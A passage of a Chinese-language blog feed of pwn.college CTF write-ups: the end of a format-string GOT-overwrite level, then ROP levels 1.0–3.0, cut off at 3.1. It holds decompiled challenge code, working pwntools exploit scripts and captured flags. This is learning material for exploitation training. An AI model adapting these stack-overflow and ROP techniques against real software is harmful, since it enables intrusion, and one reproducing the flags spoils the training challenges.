&lt;p&gt;Use a format string exploit to overwrite a got entry.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-70&quot;&gt;Level 7.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from contextlib import contextmanager

from pwn import ELF, context, flat, gdb, log, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyfmt_level7.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *func+198
c
&quot;&quot;&quot;


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            global elf

            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload(position):
    puts_got = 0x404020
    parts = [0x1351, 0x0040, 0x0000, 0x0000]

    align_stack = b&quot;a&quot; * 3
    written_chars = len(align_stack) % 0x10000

    fmtstr_parts = []

    for idx, target_byte in enumerate(parts):
        padding = (target_byte - written_chars) % 0x10000

        fmtstr_parts.append(
            f&quot;%{padding}x%{position + idx}$hn&quot;
            if padding &amp;gt; 0
            else f&quot;%{position + idx}$hn&quot;
        )

        written_chars += padding

    fmtstr = &quot;&quot;.join(fmtstr_parts).encode(&quot;ascii&quot;) + b&quot;\x00&quot;
    addresses = [puts_got + (i * 0x2) for i in range(len(parts))]

    return flat(
        align_stack,
        fmtstr,
        *addresses,
    )


def attack(target):
    try:
        payload = construct_payload(72)

        target.sendafter(b&quot;Have fun!&quot;, payload)
        target.sendline(b&quot;END&quot;)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        with launch(debug=False) as target:
            if attack(target):
                log.success(&quot;Attack completed successfully.&quot;)
            else:
                log.failure(&quot;Attack did not yield a flag.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{s0yYpAm36BLU2Mp5PhbvBmPuc-3.dljM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: Program Security (Return Oriented Programming) series (Completed)</title><link>https://cubeyond.net/posts/write-ups/pwncollege-return-oriented-programming/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/pwncollege-return-oriented-programming/</guid><description>Write-ups for pwn.college binary exploitation series.</description><pubDate>Sun, 19 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;我觉得应该珍惜现在的 ROP，Intel 近几年刚提出的 &lt;code&gt;CET (Control-flow Enforcement Technology)&lt;/code&gt; 足以杀死绝大多数 ROP Exploit 了……以后 ROP 应该会更难一点，虽然不排除可能会出现新奇的绕过方式就是了 LOL&lt;/p&gt;
&lt;p&gt;唉，算是经历了一个时代的变迁了吧？&amp;lt;s&amp;gt;&lt;em&gt;简单了解了一下 CET，靠，我要是早几年生我也可以想出来！！！&lt;/em&gt;&amp;lt;/s&amp;gt;就很感慨厉害的技术往往都是一些很简单的概念，却达到了非凡的效果，我也幻想自己可以研究点东西出来。&lt;/p&gt;
&lt;h1&gt;Level 1.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overwrite a return address to trigger a win function!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;怀着感慨和某种说不清的复杂的心情步入本章的第一题……&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  _QWORD v4[3]; // [rsp+0h] [rbp-60h] BYREF
  int v5; // [rsp+1Ch] [rbp-44h]
  _BYTE buf[60]; // [rsp+20h] [rbp-40h] BYREF
  int v7; // [rsp+5Ch] [rbp-4h]
  __int64 savedregs; // [rsp+60h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+68h] [rbp+8h] BYREF

  v5 = a1;
  v4[2] = a2;
  v4[1] = a3;
  puts(
    &quot;This challenge reads in some bytes, overflows its stack, and allows you to perform a ROP attack. Through this series of&quot;);
  puts(&quot;challenges, you will become painfully familiar with the concept of Return Oriented Programming!\n&quot;);
  sp_ = (__int64)v4;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)v4) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;In this challenge, there is a win() function.&quot;);
  printf(&quot;win() will open the flag and send its data to stdout; it is at %p.\n&quot;, win);
  puts(&quot;In order to get the flag, you will need to call this function.\n&quot;);
  puts(&quot;You can call a function by directly overflowing into the saved return address,&quot;);
  printf(
    &quot;which is stored at %p, %d bytes after the start of your input buffer.\n&quot;,
    (const void *)rp_,
    rp_ - (_QWORD)buf);
  printf(
    &quot;That means that you will need to input at least %d bytes (%d to fill the buffer,\n&quot;,
    rp_ - (_QWORD)buf + 8,
    57);
  printf(&quot;%d to fill other stuff stored between the buffer and the return address,\n&quot;, rp_ - (_QWORD)buf - 57);
  puts(&quot;and 8 that will overwrite the return address).&quot;);
  v7 = read(0, buf, 0x1000uLL);
  printf(&quot;Received %d bytes! This is potentially %d gadgets.\n&quot;, v7, (unsigned __int64)&amp;amp;buf[v7 - rp_] &amp;gt;&amp;gt; 3);
  puts(&quot;Let&apos;s take a look at your chain! Note that we have no way to verify that the gadgets are executable&quot;);
  puts(&quot;from within this challenge. You will have to do that by yourself.&quot;);
  print_chain(rp_, (unsigned int)((unsigned __int64)&amp;amp;buf[v7 - rp_] &amp;gt;&amp;gt; 3) + 1);
  return puts(&quot;Leaving!&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很明显的栈溢出吧，然后我们希望执行 &lt;code&gt;win&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__uid_t win()
{
  int *v0; // rax
  char *v1; // rax
  __uid_t result; // eax
  int *v3; // rax
  char *v4; // rax

  puts(&quot;You win! Here is your flag:&quot;);
  flag_fd_23114 = open(&quot;/flag&quot;, 0);
  if ( flag_fd_23114 &amp;gt;= 0 )
  {
    flag_length_23115 = read(flag_fd_23114, &amp;amp;flag_23113, 0x100uLL);
    if ( flag_length_23115 &amp;gt; 0 )
    {
      write(1, &amp;amp;flag_23113, flag_length_23115);
      return puts(&quot;\n&quot;);
    }
    else
    {
      v3 = __errno_location();
      v4 = strerror(*v3);
      return printf(&quot;\n  ERROR: Failed to read the flag -- %s!\n&quot;, v4);
    }
  }
  else
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf(&quot;\n  ERROR: Failed to open the flag -- %s!\n&quot;, v1);
    result = geteuid();
    if ( result )
    {
      puts(&quot;  Your effective user id is not 0!&quot;);
      return puts(&quot;  You must directly run the suid binary in order to have the correct permissions!&quot;);
    }
  }
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;好吧，看来第一题比我想象中的要简单得多的多，可以说是没有任何限制条件，直接覆盖返回地址解决。~&lt;em&gt;就当是安慰我了 LMAO&lt;/em&gt;~&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, context, gdb, log, p64, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level1.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

padding_to_ret = b&quot;&quot;.ljust(0x48, b&quot;A&quot;)
win_address = p64(0x401926)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    payload = padding_to_ret
    payload += win_address

    return payload


def attack(target, payload):
    try:
        send_payload(target, payload)
        target.recvall(timeout=3)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{wpfRp_d39M4TTN2Q66mN_kfp0_g.0VM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 1.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overwrite a return address to trigger a win function!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-10&quot;&gt;Level 1.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, context, gdb, log, p64, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level1.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

padding_to_ret = b&quot;&quot;.ljust(0x68, b&quot;A&quot;)
win_address = p64(0x401CAF)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    payload = padding_to_ret
    payload += win_address

    return payload


def attack(target, payload):
    try:
        send_payload(target, payload)
        target.recvall(timeout=3)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{kIrK17VA4RSajTUwItMyNbaBDJw.0lM0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 2.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use ROP to trigger a two-stage win function!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  _QWORD v4[3]; // [rsp+0h] [rbp-80h] BYREF
  int v5; // [rsp+1Ch] [rbp-64h]
  _BYTE buf[92]; // [rsp+20h] [rbp-60h] BYREF
  int v7; // [rsp+7Ch] [rbp-4h]
  __int64 savedregs; // [rsp+80h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+88h] [rbp+8h] BYREF

  v5 = a1;
  v4[2] = a2;
  v4[1] = a3;
  puts(
    &quot;This challenge reads in some bytes, overflows its stack, and allows you to perform a ROP attack. Through this series of&quot;);
  puts(&quot;challenges, you will become painfully familiar with the concept of Return Oriented Programming!\n&quot;);
  sp_ = (__int64)v4;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)v4) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(
    &quot;In this challenge, there are 2 stages of win functions. The functions are labeled `win_stage_1` through `win_stage_2`.&quot;);
  puts(&quot;In order to get the flag, you will need to call all of these stages in order.\n&quot;);
  puts(&quot;You can call a function by directly overflowing into the saved return address,&quot;);
  printf(
    &quot;which is stored at %p, %d bytes after the start of your input buffer.\n&quot;,
    (const void *)rp_,
    rp_ - (_QWORD)buf);
  printf(
    &quot;That means that you will need to input at least %d bytes (%d to fill the buffer,\n&quot;,
    rp_ - (_QWORD)buf + 8,
    79);
  printf(&quot;%d to fill other stuff stored between the buffer and the return address,\n&quot;, rp_ - (_QWORD)buf - 79);
  puts(&quot;and 8 that will overwrite the return address).&quot;);
  v7 = read(0, buf, 0x1000uLL);
  printf(&quot;Received %d bytes! This is potentially %d gadgets.\n&quot;, v7, (unsigned __int64)&amp;amp;buf[v7 - rp_] &amp;gt;&amp;gt; 3);
  puts(&quot;Let&apos;s take a look at your chain! Note that we have no way to verify that the gadgets are executable&quot;);
  puts(&quot;from within this challenge. You will have to do that by yourself.&quot;);
  print_chain(rp_, (unsigned int)((unsigned __int64)&amp;amp;buf[v7 - rp_] &amp;gt;&amp;gt; 3) + 1);
  return puts(&quot;Leaving!&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;~&lt;em&gt;真是经经又典典的开场啊，反汇编贴出来都是增加碳排放。&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;逆向发现有两个 &lt;code&gt;win&lt;/code&gt; 函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int win_stage_1()
{
  _BYTE buf[260]; // [rsp+10h] [rbp-110h] BYREF
  int v2; // [rsp+114h] [rbp-Ch]
  int v3; // [rsp+118h] [rbp-8h]
  int fd; // [rsp+11Ch] [rbp-4h]

  fd = open(&quot;/flag&quot;, 0);
  v3 = lseek(fd, 0LL, 2) / 2 + 1;
  lseek(fd, 0LL, 0);
  v2 = read(fd, buf, v3);
  write(1, buf, v2);
  return close(fd);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;int win_stage_2()
{
  _BYTE buf[260]; // [rsp+10h] [rbp-110h] BYREF
  int v2; // [rsp+114h] [rbp-Ch]
  int v3; // [rsp+118h] [rbp-8h]
  int fd; // [rsp+11Ch] [rbp-4h]

  fd = open(&quot;/flag&quot;, 0);
  v3 = lseek(fd, 0LL, 2) / 2 + 1;
  lseek(fd, v3, 0);
  v2 = read(fd, buf, v3);
  write(1, buf, v2);
  return close(fd);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;lseek&lt;/code&gt; 函数用于修改文件指针位置，它的定义如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// attributes: thunk
__off_t lseek(int fd, __off_t offset, int whence)
{
  return lseek(fd, offset, whence);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;fd&lt;/code&gt; 是文件描述符、&lt;code&gt;offset&lt;/code&gt; 是 &lt;code&gt;whence&lt;/code&gt; 的偏移量、&lt;code&gt;whence&lt;/code&gt; 决定了偏移的基准位置。执行成功返回新的文件偏移量，以字节为单位；失败则返回 &lt;code&gt;-1&lt;/code&gt;，并设置 &lt;code&gt;errno&lt;/code&gt; 表示错误原因。&lt;code&gt;whence&lt;/code&gt; 有三个可选参数：&lt;code&gt;SEEK_SET (0)&lt;/code&gt;、&lt;code&gt;SEEK_CUR (1)&lt;/code&gt; 和 &lt;code&gt;SEEK_END (2)&lt;/code&gt;，分别表示文件头、当前位置和文件末。&lt;/p&gt;
&lt;p&gt;就以 &lt;code&gt;win_stage_1&lt;/code&gt; 为例简单讲一下 &lt;code&gt;lseek&lt;/code&gt; 在这里的作用：首先 &lt;code&gt;open&lt;/code&gt; 返回了打开的文件描述符，&lt;code&gt;v3 = lseek(fd, 0LL, 2) / 2 + 1;&lt;/code&gt; 做的是将 &lt;code&gt;fd&lt;/code&gt; 的文件指针定位到文件末，返回了整个文件的大小，除以 2 相当于取这个文件的一半数据，然后加一，返回值保存到 &lt;code&gt;v3&lt;/code&gt;。之后 &lt;code&gt;lseek(fd, 0LL, 0);&lt;/code&gt; 又将文件指针指回文件头，&lt;code&gt;v2 = read(fd, buf, v3);&lt;/code&gt; 做的是从 &lt;code&gt;fd&lt;/code&gt; 读取 &lt;code&gt;v3&lt;/code&gt; 字节数据到 &lt;code&gt;buf&lt;/code&gt;，之后 &lt;code&gt;write(1, buf, v2);&lt;/code&gt; 将 &lt;code&gt;buf&lt;/code&gt; 中 &lt;code&gt;v2&lt;/code&gt; 字节数据写入 &lt;code&gt;stdout&lt;/code&gt;，所以整个函数就是做了一个读取文件一半加一字节内容并输出的工作。注意 &lt;code&gt;win_stage_1&lt;/code&gt; 是读取前一半并输出，而 &lt;code&gt;win_stage_2&lt;/code&gt; 是读取后一半并输出。&lt;/p&gt;
&lt;p&gt;所以我们要做的很简单，就是构造 ROP Chain 依次执行这两个函数呗。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, context, gdb, log, p64, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level2.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

padding_to_ret = b&quot;&quot;.ljust(0x68, b&quot;A&quot;)
win_stage_1 = p64(0x401D66)
win_stage_2 = p64(0x401E13)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    payload = padding_to_ret
    payload += win_stage_1
    payload += win_stage_2

    return payload


def attack(target, payload):
    try:
        send_payload(target, payload)
        target.recvall(timeout=3)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{4v7M0arrSE56nVZynPmA1hGzVcg.01M0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 2.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use ROP to trigger a two-stage win function!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-20&quot;&gt;Level 2.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, context, gdb, log, p64, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level2.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

padding_to_ret = b&quot;&quot;.ljust(0x28, b&quot;A&quot;)
win_stage_1 = p64(0x401F0F)
win_stage_2 = p64(0x401FBC)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    payload = padding_to_ret
    payload += win_stage_1
    payload += win_stage_2

    return payload


def attack(target, payload):
    try:
        send_payload(target, payload)
        target.recvall(timeout=3)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{8i7RS4fxOytxYOpVidcCJE-hXqd.0FN0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 3.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use ROP to trigger a multi-stage win function!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;为了保护环境，某些增加碳排放的东西我就不贴了，直接贴核心。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall win_stage_1(int a1)
{
  _BYTE buf[260]; // [rsp+10h] [rbp-110h] BYREF
  int v3; // [rsp+114h] [rbp-Ch]
  int v4; // [rsp+118h] [rbp-8h]
  int fd; // [rsp+11Ch] [rbp-4h]

  if ( a1 != 1 )
    return puts(&quot;Error: Incorrect value!&quot;);
  fd = open(&quot;/flag&quot;, 0);
  v4 = (int)lseek(fd, 0LL, 2) / 5 + 1;
  lseek(fd, 0LL, 0);
  v3 = read(fd, buf, v4);
  write(1, buf, v3);
  return close(fd);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall win_stage_2(int a1)
{
  _BYTE buf[260]; // [rsp+10h] [rbp-110h] BYREF
  int v3; // [rsp+114h] [rbp-Ch]
  int v4; // [rsp+118h] [rbp-8h]
  int fd; // [rsp+11Ch] [rbp-4h]

  if ( a1 != 2 )
    return puts(&quot;Error: Incorrect value!&quot;);
  fd = open(&quot;/flag&quot;, 0);
  v4 = (int)lseek(fd, 0LL, 2) / 5 + 1;
  lseek(fd, v4, 0);
  v3 = read(fd, buf, v4);
  write(1, buf, v3);
  return close(fd);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall win_stage_3(int a1)
{
  _BYTE buf[260]; // [rsp+10h] [rbp-110h] BYREF
  int v3; // [rsp+114h] [rbp-Ch]
  int v4; // [rsp+118h] [rbp-8h]
  int fd; // [rsp+11Ch] [rbp-4h]

  if ( a1 != 3 )
    return puts(&quot;Error: Incorrect value!&quot;);
  fd = open(&quot;/flag&quot;, 0);
  v4 = (int)lseek(fd, 0LL, 2) / 5 + 1;
  lseek(fd, 2 * v4, 0);
  v3 = read(fd, buf, v4);
  write(1, buf, v3);
  return close(fd);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall win_stage_4(int a1)
{
  _BYTE buf[260]; // [rsp+10h] [rbp-110h] BYREF
  int v3; // [rsp+114h] [rbp-Ch]
  int v4; // [rsp+118h] [rbp-8h]
  int fd; // [rsp+11Ch] [rbp-4h]

  if ( a1 != 4 )
    return puts(&quot;Error: Incorrect value!&quot;);
  fd = open(&quot;/flag&quot;, 0);
  v4 = (int)lseek(fd, 0LL, 2) / 5 + 1;
  lseek(fd, 3 * v4, 0);
  v3 = read(fd, buf, v4);
  write(1, buf, v3);
  return close(fd);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall win_stage_5(int a1)
{
  _BYTE buf[260]; // [rsp+10h] [rbp-110h] BYREF
  int v3; // [rsp+114h] [rbp-Ch]
  int v4; // [rsp+118h] [rbp-8h]
  int fd; // [rsp+11Ch] [rbp-4h]

  if ( a1 != 5 )
    return puts(&quot;Error: Incorrect value!&quot;);
  fd = open(&quot;/flag&quot;, 0);
  v4 = (int)lseek(fd, 0LL, 2) / 5 + 1;
  lseek(fd, 4 * v4, 0);
  v3 = read(fd, buf, v4);
  write(1, buf, v3);
  return close(fd);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这次分成了五个阶段输出，只要分别绕过这五个阶段的 &lt;code&gt;if&lt;/code&gt; 即可。因为是 amd64 架构的，所以第一个参数通过 &lt;code&gt;rdi&lt;/code&gt; 传递，我们直接找有关这个寄存器的 gadgets，发现：&lt;code&gt;0x402b53: pop rdi ; ret&lt;/code&gt;，很好，这样的话我们先返回到这个 gadget，然后在它后面放绕过判断的参数，这个参数就会被 &lt;code&gt;pop&lt;/code&gt; 到 &lt;code&gt;rdi&lt;/code&gt;，之后再接函数地址就好了。&lt;/p&gt;
&lt;p&gt;感觉这题也可以用 &lt;code&gt;D(ata)OP&lt;/code&gt;，~&lt;em&gt;但是我一定不会告诉你我曾闲的蛋疼放着捷径不走试图绕远路，最后发现这条路是真 tm 远所以掉头回来走捷径的……&lt;/em&gt;~&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, ROP, context, gdb, log, p64, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level3.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *challenge+337
b *challenge+488
c
&quot;&quot;&quot;

padding_to_ret = b&quot;&quot;.ljust(0x68, b&quot;A&quot;)

win_stage_1 = p64(0x4023D9)
bypass_win_stage_1 = p64(0x1)
win_stage_2 = p64(0x402760)
bypass_win_stage_2 = p64(0x2)
win_stage_3 = p64(0x402598)
bypass_win_stage_3 = p64(0x3)
win_stage_4 = p64(0x40267A)
bypass_win_stage_4 = p64(0x4)
win_stage_5 = p64(0x4024B5)
bypass_win_stage_5 = p64(0x5)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    rop = ROP(elf)

    pop_rdi_ret = rop.find_gadget([&quot;pop rdi&quot;, &quot;ret&quot;]).address

    payload = padding_to_ret

    for i in range(1, 6):
        payload += p64(pop_rdi_ret)
        payload += globals()[f&quot;bypass_win_stage_{i}&quot;]
        payload += globals()[f&quot;win_stage_{i}&quot;]

    return payload


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=3)

        if b&quot;pwn.college{&quot; in response:
            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        if attack(target, payload):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{EE8eEBP70ZX0reoW2Pp8YObscck.0VN0MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 3.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use ROP to trigger a multi-stage win function!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-30&quot;&gt;Level 3.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, ROP, context, gdb, log, p64, process, remote

